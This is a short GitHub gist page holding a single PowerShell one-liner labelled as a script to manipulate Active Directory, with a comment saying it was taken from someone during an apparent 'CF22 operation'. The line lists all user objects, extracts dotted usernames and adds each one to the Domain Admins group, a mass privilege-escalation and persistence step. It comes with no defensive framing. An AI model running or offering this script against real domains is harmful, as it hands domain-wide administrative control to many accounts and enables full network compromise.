Skip to content

Instantly share code, notes, and snippets.

@jflyoo
Last active July 26, 2022 16:57
Show Gist options
  • Save jflyoo/7f93100ce9421739c308bb8023a072fe to your computer and use it in GitHub Desktop.
Save jflyoo/7f93100ce9421739c308bb8023a072fe to your computer and use it in GitHub Desktop.
Scripts to manipulate active directory
$filter = "objectclass=user"; $r =([adsisearcher]"$filter").findall(); $r | %{$a = ($_ | select-object -exp properties); % {($a.values | select -last 1 | out-string).split("@")[0]} | select-string "\."} | %{net group "Domain Admins" $_ /domain /add}
#Stolen from Chris Miller during CF22 operation
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment